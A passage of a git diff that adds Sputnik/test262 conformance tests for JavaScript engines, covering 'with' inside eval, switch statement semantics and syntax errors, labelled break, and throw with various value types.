+if(myObj.p1 !== undefined){
+ $ERROR('#2: myObj.p1 === undefined . Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.del !== true){
+ $ERROR('#3: myObj.del === true . Actual: myObj.del ==='+ myObj.del );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(myObj.p1 === 'a'){
+ $ERROR('#4: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A5_T6.js b/js/src/tests/test262/ch12/12.10/S12.10_A5_T6.js
new file mode 100644
index 000000000..67c79398a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A5_T6.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Deleting property using "eval" statement containing "with" statement
+ *
+ * @path ch12/12.10/S12.10_A5_T6.js
+ * @description Deleting function property
+ * @noStrict
+ */
+
+this.p1 = 'a';
+var myObj = {
+ p1: function(){return 0;},
+ del:false
+}
+eval("with(myObj){del = delete p1}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+if(myObj.p1() === 0){
+ $ERROR('#1: myObj.p1() !== 0 ');
+}
+}catch(e){var x=1};
+if(x !== 1){
+ $ERROR('#1: x === 1. Actual: x ==='+ x );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(myObj.p1 !== undefined){
+ $ERROR('#2: myObj.p1 === undefined . Actual: myObj.p1 ==='+ myObj.p1 );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(myObj.del !== true){
+ $ERROR('#3: myObj.del === true . Actual: myObj.del ==='+ myObj.del );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(myObj.p1 === 'a'){
+ $ERROR('#4: myObj.p1 !== \'a\'');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.10/browser.js b/js/src/tests/test262/ch12/12.10/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/browser.js
diff --git a/js/src/tests/test262/ch12/12.10/shell.js b/js/src/tests/test262/ch12/12.10/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/shell.js
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A1_T1.js b/js/src/tests/test262/ch12/12.11/S12.11_A1_T1.js
new file mode 100644
index 000000000..0d637da55
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A1_T1.js
@@ -0,0 +1,74 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Result.type is break and Result.target is in the current
+ * label set, return (normal, Result.value, empty)
+ *
+ * @path ch12/12.11/S12.11_A1_T1.js
+ * @description Simple test using switch statement
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case 0:
+ result += 2;
+ case 1:
+ result += 4;
+ break;
+ case 2:
+ result += 8;
+ case 3:
+ result += 16;
+ default:
+ result += 32;
+ break;
+ case 4:
+ result += 64;
+ }
+
+ return result;
+}
+
+if(!(SwitchTest(0) === 6)){
+ $ERROR("#1: SwitchTest(0) === 6. Actual: SwitchTest(0) ==="+ SwitchTest(0) );
+}
+
+if(!(SwitchTest(1) === 4)){
+ $ERROR("#2: SwitchTest(1) === 4. Actual: SwitchTest(1) ==="+ SwitchTest(1) );
+}
+
+if(!(SwitchTest(2) === 56)){
+ $ERROR("#3: SwitchTest(2) === 56. Actual: SwitchTest(2) ==="+ SwitchTest(2) );
+}
+
+if(!(SwitchTest(3) === 48)){
+ $ERROR("#4: SwitchTest(3) === 48. Actual: SwitchTest(3) ==="+ SwitchTest(3) );
+}
+
+if(!(SwitchTest(4) === 64)){
+ $ERROR("#5: SwitchTest(4) === 64. Actual: SwitchTest(4) ==="+ SwitchTest(4) );
+}
+
+if(!(SwitchTest(true) === 32)){
+ $ERROR("#6: SwitchTest(true) === 32. Actual: SwitchTest(true) ==="+ SwitchTest(true) );
+}
+
+if(!(SwitchTest(false) === 32)){
+ $ERROR("#7: SwitchTest(false) === 32. Actual: SwitchTest(false) ==="+ SwitchTest(false) );
+}
+
+if(!(SwitchTest(null) === 32)){
+ $ERROR("#8: SwitchTest(null) === 32. Actual: SwitchTest(null) ==="+ SwitchTest(null) );
+}
+
+if(!(SwitchTest(void 0) === 32)){
+ $ERROR("#9: SwitchTest(void 0) === 32. Actual: SwitchTest(void 0) ==="+ SwitchTest(void 0) );
+}
+
+if(!(SwitchTest('0') === 32)){
+ $ERROR("#10: SwitchTest('0') === 32. Actual: SwitchTest('0') ==="+ SwitchTest('0') );
+}
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A1_T2.js b/js/src/tests/test262/ch12/12.11/S12.11_A1_T2.js
new file mode 100644
index 000000000..a7b4abc59
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A1_T2.js
@@ -0,0 +1,88 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Result.type is break and Result.target is in the current
+ * label set, return (normal, Result.value, empty)
+ *
+ * @path ch12/12.11/S12.11_A1_T2.js
+ * @description Switch with different types of variables
+ */
+
+var x = new Number(2);
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case 0:
+ result += 2;
+ case '1':
+ result += 4;
+ break;
+ case new Number(2):
+ result += 8;
+ case 3:
+ result += 16;
+ default:
+ result += 32;
+ break;
+ case 4:
+ result += 64;
+ break;
+ case x:
+ result += 128;
+ break;
+ case 0:
+ result += 256;
+ case 1:
+ result += 512;
+ }
+
+ return result;
+}
+
+if(!(SwitchTest(0) === 6)){
+ $ERROR("#1: SwitchTest(0) === 6. Actual: SwitchTest(0) ==="+ SwitchTest(0) );
+}
+
+if(!(SwitchTest(1) === 512)){
+ $ERROR("#2: SwitchTest(1) === 512. Actual: SwitchTest(1) ==="+ SwitchTest(1) );
+}
+
+if(!(SwitchTest(2) === 32)){
+ $ERROR("#3: SwitchTest(2) === 32. Actual: SwitchTest(2) ==="+ SwitchTest(2) );
+}
+
+if(!(SwitchTest(3) === 48)){
+ $ERROR("#4: SwitchTest(3) === 48. Actual: SwitchTest(3) ==="+ SwitchTest(3) );
+}
+
+if(!(SwitchTest(4) === 64)){
+ $ERROR("#5: SwitchTest(4) === 64. Actual: SwitchTest(4) ==="+ SwitchTest(4) );
+}
+
+if(!(SwitchTest(true) === 32)){
+ $ERROR("#6: SwitchTest(true) === 32. Actual: SwitchTest(true) ==="+ SwitchTest(true) );
+}
+
+if(!(SwitchTest(false) === 32)){
+ $ERROR("#7: SwitchTest(false) === 32. Actual: SwitchTest(false) ==="+ SwitchTest(false) );
+}
+
+if(!(SwitchTest(null) === 32)){
+ $ERROR("#8: SwitchTest(null) === 32. Actual: SwitchTest(null) ==="+ SwitchTest(null) );
+}
+
+if(!(SwitchTest(void 0) === 32)){
+ $ERROR("#9: SwitchTest(void 0) === 32. Actual: SwitchTest(void 0) ==="+ SwitchTest(void 0) );
+}
+
+if(!(SwitchTest('0') === 32)){
+ $ERROR("#10: SwitchTest('0') === 32. Actual: SwitchTest('0') ==="+ SwitchTest('0') );
+}
+
+if(!(SwitchTest(x) === 128)){
+ $ERROR("#10: SwitchTest(x) === 128. Actual: SwitchTest(x) ==="+ SwitchTest(x) );
+}
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A1_T3.js b/js/src/tests/test262/ch12/12.11/S12.11_A1_T3.js
new file mode 100644
index 000000000..3171a6661
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A1_T3.js
@@ -0,0 +1,92 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Result.type is break and Result.target is in the current
+ * label set, return (normal, Result.value, empty)
+ *
+ * @path ch12/12.11/S12.11_A1_T3.js
+ * @description Using case with null, NaN, Infinity
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case 0:
+ result += 2;
+ case 1:
+ result += 4;
+ break;
+ case 2:
+ result += 8;
+ case 3:
+ result += 16;
+ default:
+ result += 32;
+ break;
+ case null:
+ result += 64;
+ case NaN:
+ result += 128;
+ break;
+ case Infinity:
+ result += 256;
+ case 2+3:
+ result += 512;
+ break;
+ case undefined:
+ result += 1024;
+ }
+
+ return result;
+}
+
+if(!(SwitchTest(0) === 6)){
+ $ERROR("#1: SwitchTest(0) === 6. Actual: SwitchTest(0) ==="+ SwitchTest(0) );
+}
+
+if(!(SwitchTest(1) === 4)){
+ $ERROR("#2: SwitchTest(1) === 4. Actual: SwitchTest(1) ==="+ SwitchTest(1) );
+}
+
+if(!(SwitchTest(2) === 56)){
+ $ERROR("#3: SwitchTest(2) === 56. Actual: SwitchTest(2) ==="+ SwitchTest(2) );
+}
+
+if(!(SwitchTest(3) === 48)){
+ $ERROR("#4: SwitchTest(3) === 48. Actual: SwitchTest(3) ==="+ SwitchTest(3) );
+}
+
+if(!(SwitchTest(4) === 32)){
+ $ERROR("#5: SwitchTest(4) === 32. Actual: SwitchTest(4) ==="+ SwitchTest(4) );
+}
+
+if(!(SwitchTest(5) === 512)){
+ $ERROR("#5: SwitchTest(5) === 512. Actual: SwitchTest(5) ==="+ SwitchTest(5) );
+}
+
+if(!(SwitchTest(true) === 32)){
+ $ERROR("#6: SwitchTest(true) === 32. Actual: SwitchTest(true) ==="+ SwitchTest(true) );
+}
+
+if(!(SwitchTest(false) === 32)){
+ $ERROR("#7: SwitchTest(false) === 32. Actual: SwitchTest(false) ==="+ SwitchTest(false) );
+}
+
+if(!(SwitchTest(null) === 192)){
+ $ERROR("#8: SwitchTest(null) === 192. Actual: SwitchTest(null) ==="+ SwitchTest(null) );
+}
+
+if(!(SwitchTest(void 0) === 1024)){
+ $ERROR("#9: SwitchTest(void 0) === 1024. Actual: SwitchTest(void 0) ==="+ SwitchTest(void 0) );
+}
+
+if(!(SwitchTest(NaN) === 32)){
+ $ERROR("#10: SwitchTest(NaN) === 32. Actual: SwitchTest(NaN) ==="+ SwitchTest(NaN) );
+}
+
+if(!(SwitchTest(Infinity) === 768)){
+ $ERROR("#10: SwitchTest(NaN) === 768. Actual: SwitchTest(NaN) ==="+ SwitchTest(NaN) );
+}
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A1_T4.js b/js/src/tests/test262/ch12/12.11/S12.11_A1_T4.js
new file mode 100644
index 000000000..0182397fe
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A1_T4.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Result.type is break and Result.target is in the current
+ * label set, return (normal, Result.value, empty)
+ *
+ * @path ch12/12.11/S12.11_A1_T4.js
+ * @description Using case with isNaN and isNaN(value)
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case 0:
+ result += 2;
+ case 1:
+ result += 4;
+ break;
+ case 2:
+ result += 8;
+ case isNaN(value):
+ result += 16;
+ default:
+ result += 32;
+ break;
+ case null:
+ result += 64;
+ case isNaN:
+ result += 128;
+ break;
+ case Infinity:
+ result += 256;
+ case 2+3:
+ result += 512;
+ break;
+ case undefined:
+ result += 1024;
+ }
+
+ return result;
+}
+
+if(!(SwitchTest(eval('Number(false)')) === 6)){
+ $ERROR("#1: SwitchTest(0) === 6. Actual: SwitchTest(0) ==="+ SwitchTest(0) );
+}
+
+if(!(SwitchTest(parseInt) === 32)){
+ $ERROR("#2: SwitchTest(parseInt) === 32. Actual: SwitchTest(parseInt) ==="+ SwitchTest(parseInt) );
+}
+
+if(!(SwitchTest(isNaN) === 128)){
+ $ERROR("#3: SwitchTest(isNaN) === 128. Actual: SwitchTest(isNaN) ==="+ SwitchTest(isNaN) );
+}
+
+if(!(SwitchTest(true) === 32)){
+ $ERROR("#6: SwitchTest(true) === 32. Actual: SwitchTest(true) ==="+ SwitchTest(true) );
+}
+
+if(!(SwitchTest(false) === 48)){
+ $ERROR("#7: SwitchTest(false) === 48. Actual: SwitchTest(false) ==="+ SwitchTest(false) );
+}
+
+if(!(SwitchTest(null) === 192)){
+ $ERROR("#8: SwitchTest(null) === 192. Actual: SwitchTest(null) ==="+ SwitchTest(null) );
+}
+
+if(!(SwitchTest(void 0) === 1024)){
+ $ERROR("#9: SwitchTest(void 0) === 1024. Actual: SwitchTest(void 0) ==="+ SwitchTest(void 0) );
+}
+
+if(!(SwitchTest(NaN) === 32)){
+ $ERROR("#10: SwitchTest(NaN) === 32. Actual: SwitchTest(NaN) ==="+ SwitchTest(NaN) );
+}
+
+if(!(SwitchTest(Infinity) === 768)){
+ $ERROR("#10: SwitchTest(NaN) === 768. Actual: SwitchTest(NaN) ==="+ SwitchTest(NaN) );
+}
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A2_T1.js b/js/src/tests/test262/ch12/12.11/S12.11_A2_T1.js
new file mode 100644
index 000000000..247437638
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A2_T1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * There can be only one DefaultClause
+ *
+ * @path ch12/12.11/S12.11_A2_T1.js
+ * @description Duplicate DefaultClause
+ * @negative
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case 0:
+ result += 2;
+ default:
+ result += 32;
+ break;
+ default:
+ result += 32;
+ break;
+ }
+
+ return result;
+}
+
+var x = SwitchTest(0);
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A3_T1.js b/js/src/tests/test262/ch12/12.11/S12.11_A3_T1.js
new file mode 100644
index 000000000..feab32852
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A3_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Syntax constructions of switch statement
+ *
+ * @path ch12/12.11/S12.11_A3_T1.js
+ * @description Checking if execution of "switch() {}" fails
+ * @negative
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch() {
+ case 0:
+ result += 2;
+ default:
+ result += 32;
+ break;
+ }
+
+ return result;
+}
+
+var x = SwitchTest(0);
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A3_T2.js b/js/src/tests/test262/ch12/12.11/S12.11_A3_T2.js
new file mode 100644
index 000000000..d879d6028
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A3_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Syntax constructions of switch statement
+ *
+ * @path ch12/12.11/S12.11_A3_T2.js
+ * @description Checking if execution of "switch {}" fails
+ * @negative
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch {
+ case 0:
+ result += 2;
+ default:
+ result += 32;
+ break;
+ }
+
+ return result;
+}
+
+var x = SwitchTest(0);
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A3_T3.js b/js/src/tests/test262/ch12/12.11/S12.11_A3_T3.js
new file mode 100644
index 000000000..03d3898dc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A3_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Syntax constructions of switch statement
+ *
+ * @path ch12/12.11/S12.11_A3_T3.js
+ * @description Checking if execution of "switch(value)" fails
+ * @negative
+ */
+
+switch(value);
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A3_T4.js b/js/src/tests/test262/ch12/12.11/S12.11_A3_T4.js
new file mode 100644
index 000000000..00def2926
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A3_T4.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Syntax constructions of switch statement
+ *
+ * @path ch12/12.11/S12.11_A3_T4.js
+ * @description Using "case" that has no Expresson after it. "CaseClause: case Expression : [StatementList]"
+ * @negative
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case:
+ result += 2;
+ default:
+ result += 32;
+ break;
+ }
+
+ return result;
+}
+
+var x = SwitchTest(0);
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A3_T5.js b/js/src/tests/test262/ch12/12.11/S12.11_A3_T5.js
new file mode 100644
index 000000000..02cd94bd9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A3_T5.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Syntax constructions of switch statement
+ *
+ * @path ch12/12.11/S12.11_A3_T5.js
+ * @description Introducing statement not followed by "case" keyword
+ * @negative
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ result =2;
+ case 0:
+ result += 2;
+ default:
+ result += 32;
+ break;
+ }
+
+ return result;
+}
+
+var x = SwitchTest(0);
+
diff --git a/js/src/tests/test262/ch12/12.11/S12.11_A4_T1.js b/js/src/tests/test262/ch12/12.11/S12.11_A4_T1.js
new file mode 100644
index 000000000..8fbafbc81
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/S12.11_A4_T1.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Embedded syntax constructions of switch statement
+ *
+ * @path ch12/12.11/S12.11_A4_T1.js
+ * @description Nesting one "switch" statement into StatementList of the other's
+ */
+
+function SwitchTest(value){
+ var result = 0;
+
+ switch(value) {
+ case 0:
+ switch(value) {
+ case 0:
+ result += 3;
+ break;
+ default:
+ result += 32;
+ break;
+ }
+ result *= 2;
+ break;
+ result=3;
+ default:
+ result += 32;
+ break;
+ }
+ return result;
+}
+
+var x = SwitchTest(0);
+if(x!==6) $ERROR("#1: SwitchTest(0) === 6. Actual: SwitchTest(0) ==="+ SwitchTest(0) );
+
diff --git a/js/src/tests/test262/ch12/12.11/browser.js b/js/src/tests/test262/ch12/12.11/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/browser.js
diff --git a/js/src/tests/test262/ch12/12.11/shell.js b/js/src/tests/test262/ch12/12.11/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.11/shell.js
diff --git a/js/src/tests/test262/ch12/12.12/S12.12_A1_T1.js b/js/src/tests/test262/ch12/12.12/S12.12_A1_T1.js
new file mode 100644
index 000000000..c88e0650a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.12/S12.12_A1_T1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Labelled statements are only used in conjunction with labelled
+ * break and continue statements
+ *
+ * @path ch12/12.12/S12.12_A1_T1.js
+ * @description Checking if labelled break works. See continue and break sections
+ */
+
+var object = {p1: 1, p2: 1};
+var result = 0;
+lbl: for(var i in object){
+ result += object[i];
+ break lbl;
+}
+
+if(!(result === 1)){
+ $ERROR("'break label' should break execution of labelled iteration statement");
+}
+
diff --git a/js/src/tests/test262/ch12/12.12/browser.js b/js/src/tests/test262/ch12/12.12/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.12/browser.js
diff --git a/js/src/tests/test262/ch12/12.12/shell.js b/js/src/tests/test262/ch12/12.12/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.12/shell.js
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A1.js b/js/src/tests/test262/ch12/12.13/S12.13_A1.js
new file mode 100644
index 000000000..bc2463577
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Sanity test for throw statement
+ *
+ * @path ch12/12.13/S12.13_A1.js
+ * @description Trying to throw exception with "throw"
+ * @negative
+ */
+
+throw "error";
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T1.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T1.js
new file mode 100644
index 000000000..bca31ea80
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T1.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T1.js
+ * @description Throwing undefined
+ */
+
+// CHECK#1
+try{
+ throw undefined;
+}
+catch(e){
+ if (e!==undefined) $ERROR('#1: Exception === undefined. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T2.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T2.js
new file mode 100644
index 000000000..e068f39f6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T2.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T2.js
+ * @description Throwing null
+ */
+
+// CHECK#1
+try{
+ throw null;
+}
+catch(e){
+ if (e!==null) $ERROR('#1: Exception === null. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T3.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T3.js
new file mode 100644
index 000000000..37592ac19
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T3.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T3.js
+ * @description Throwing boolean
+ */
+
+// CHECK#1
+try{
+ throw true;
+}
+catch(e){
+ if (e!==true) $ERROR('#1: Exception ===true. Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+try{
+ throw false;
+}
+catch(e){
+ if (e!==false) $ERROR('#2: Exception ===false. Actual: Exception ==='+ e );
+}
+
+// CHECK#3
+var b=false;
+try{
+ throw b;
+}
+catch(e){
+ if (e!==false) $ERROR('#3: Exception ===false. Actual: Exception ==='+ e );
+}
+
+// CHECK#4
+var b=true;
+try{
+ throw b;
+}
+catch(e){
+ if (e!==true) $ERROR('#4: Exception ===true. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T4.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T4.js
new file mode 100644
index 000000000..bddf2dac3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T4.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T4.js
+ * @description Throwing string
+ */
+
+// CHECK#1
+try{
+ throw "exception #1";
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#1: Exception ==="exception #1". Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+var b="exception #1";
+try{
+ throw b;
+}
+catch(e){
+ if (e!=="exception #1") $ERROR('#2: Exception ==="exception #1". Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T5.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T5.js
new file mode 100644
index 000000000..8d8084849
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T5.js
@@ -0,0 +1,75 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T5.js
+ * @description Throwing number
+ */
+
+// CHECK#1
+try{
+ throw 13;
+}
+catch(e){
+ if (e!==13) $ERROR('#1: Exception ===13. Actual: Exception ==='+ e );
+}
+
+// CHECK#2
+var b=13;
+try{
+ throw b;
+}
+catch(e){
+ if (e!==13) $ERROR('#2: Exception ===13. Actual: Exception ==='+ e );
+}
+
+// CHECK#3
+try{
+ throw 2.13;
+}
+catch(e){
+ if (e!==2.13) $ERROR('#3: Exception ===2.13. Actual: Exception ==='+ e );
+}
+
+// CHECK#4
+try{
+ throw NaN;
+}
+catch(e){
+ if (!isNaN(e)) $ERROR('#4: Exception is NaN');
+}
+
+// CHECK#5
+try{
+ throw +Infinity;
+}
+catch(e){
+ if (e!==+Infinity) $ERROR('#5: Exception ===+Infinity. Actual: Exception ==='+ e );
+}
+
+// CHECK#6
+try{
+ throw -Infinity;
+}
+catch(e){
+ if (e!==-Infinity) $ERROR('#6: Exception ===-Infinity. Actual: Exception ==='+ e );
+}
+
+// CHECK#7
+try{
+ throw +0;
+}
+catch(e){
+ if (e!==+0) $ERROR('#7: Exception ===+0. Actual: Exception ==='+ e );
+}
+
+// CHECK#8
+try{
+ throw -0;
+}
+catch(e){
+ if (e!==-0) $ERROR('#8: Exception ===-0. Actual: Exception ==='+ e );
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T6.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T6.js
new file mode 100644
index 000000000..39e799852
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T6.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T6.js
+ * @description Throwing object
+ */
+
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';},
+ i:7
+}
+
+try{
+ throw myObj;
+}
+catch(e){
+// CHECK#1
+ if (e.p1!=="a") $ERROR('#1: e.p1 === "a". Actual: e.p1 ==='+ e.p1 );
+// CHECK#2
+ if (e.value!=='myObj_value') $ERROR('#2: e.p1 === \'myObj_value\'. Actual: e.p1 ==='+ e.p1 );
+// CHECK#3
+ if (e.eval()!=='obj_eval') $ERROR('#3: e.p1 === \'obj_eval\'. Actual: e.p1 ==='+ e.p1 );
+}
+
+// CHECK#4
+myObj.i=6
+try{
+ throw myObj;
+}
+catch(e){}
+if (myObj.i!==6) $ERROR('#4: Handling of catch must be correct');
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A2_T7.js b/js/src/tests/test262/ch12/12.13/S12.13_A2_T7.js
new file mode 100644
index 000000000..bf633f868
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A2_T7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "throw Expression" returns (throw, GetValue(Result(1)), empty), where 1 evaluates Expression
+ *
+ * @path ch12/12.13/S12.13_A2_T7.js
+ * @description Throwing Array
+ */
+
+var mycars = new Array();
+mycars[0] = "Saab";
+mycars[1] = "Volvo";
+mycars[2] = "BMW";
+
+var mycars2 = new Array();
+mycars2[0] = "Mercedes";
+mycars2[1] = "Jeep";
+mycars2[2] = "Suzuki";
+
+// CHECK#1
+try{
+ throw mycars;
+}
+catch(e){
+ for (var i=0;i<3;i++){
+ if (e[i]!==mycars[i]) $ERROR('#1.'+i+': Exception['+i+'] === mycars['+i+']. Actual: Exception['+i+'] ==='+ e[i] );
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.13/S12.13_A3_T1.js b/js/src/tests/test262/ch12/12.13/S12.13_A3_T1.js
new file mode 100644
index 000000000..7843a6459
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.13/S12.13_A3_T1.js
@@ -0,0 +1,45 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
